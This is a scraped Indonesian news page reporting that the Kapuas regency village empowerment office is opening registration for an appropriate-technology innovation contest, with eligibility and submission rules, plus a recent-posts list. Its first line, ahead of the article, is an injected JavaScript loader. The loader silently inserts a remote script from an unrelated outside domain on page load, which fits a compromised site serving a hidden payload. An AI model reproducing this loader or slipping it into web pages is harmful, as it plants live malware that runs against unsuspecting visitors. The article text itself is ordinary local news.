(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

DPMD Kapuas Gelar Lomba Inovasi TTG, Ini Syarat Mengikutinya


KANALKALIMANTAN.COM, KUALA KAPUAS – Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kapuas membuka pendaftaran lomba Inovasi pengembangan dan penerapan Teknologi Tepat Guna (TTG) unggulan tingkat Kabupaten Kapuas.

“Untuk pendaftaran para peserta dimulai 1 hingga 28 Februari 2024, dan pendaftarannya gratis,” kata Kepala Dinas PMD Kabupaten Kapuas, Budi Kurniawan, Kamis (1/2/2024).

Untuk persyaratan bagi yang ingin mengikuti lomba, antara lain peserta merupakan warga kabupaten setempat dengan dibuktikan identitas diri seperti Kartu Tanda Penduduk (KTP), kartu pelajar mahasiswa.

Masyarakat umum baik perorangan atapun kelompok -maksimal lima orang per kelompok- dan bukan dari para peneliti atau dosen.

Baca juga: IRT Terlibat Kredit Kupedes Fiktif Rp2,7 Miliar Bank BUMN di Banjarbaru

Kemudian, juga guru, siswa SMP, SMA sederajat, mahasiswa perguruan tinggi, negeri dan swasta, hingga bengkel rekayasa teknologi.

Sedangkan untuk ketentuan lomba sendiri, peserta membuat makalah inovasi yang meliputi penemuan, penerapan, pengembangan TTG, kertas ukuran A4, spasi 1.5 size font 12 PT, dan dijilid cover atau sampul, dikirim ke panitia sebanyak satu rangkap berupa hard copy dan soft copy (CD).

Selanjutnya, membuat video singkat mengenai cara kerja TTG dikirim ke panitia berupa soft copy (CD). Alat atau metode TTG harus orisinil, mengisi formulir dan surat pernyataan lomba TTG, dan penilaian panitia atau juri bersifat mutlak serta tidak dapat diganggu gugat.

Baca juga: Tiga Titik Traffic Light di Banjarbaru akan Dipasangi CCTV ETLE

“Jadi, dalam lomba nanti, selain mendapatkan piagam dan uang pembinaan, juara I juga mewakili Kapuas ke tingkat provinsi dengan lomba yang sama. Sedangkan untuk juara dua dan tiga mendapatkan piagam dan uang pembinaan,” demikian Budi Kurniawan. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

5 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

6 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

7 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

12 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

15 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

15 jam ago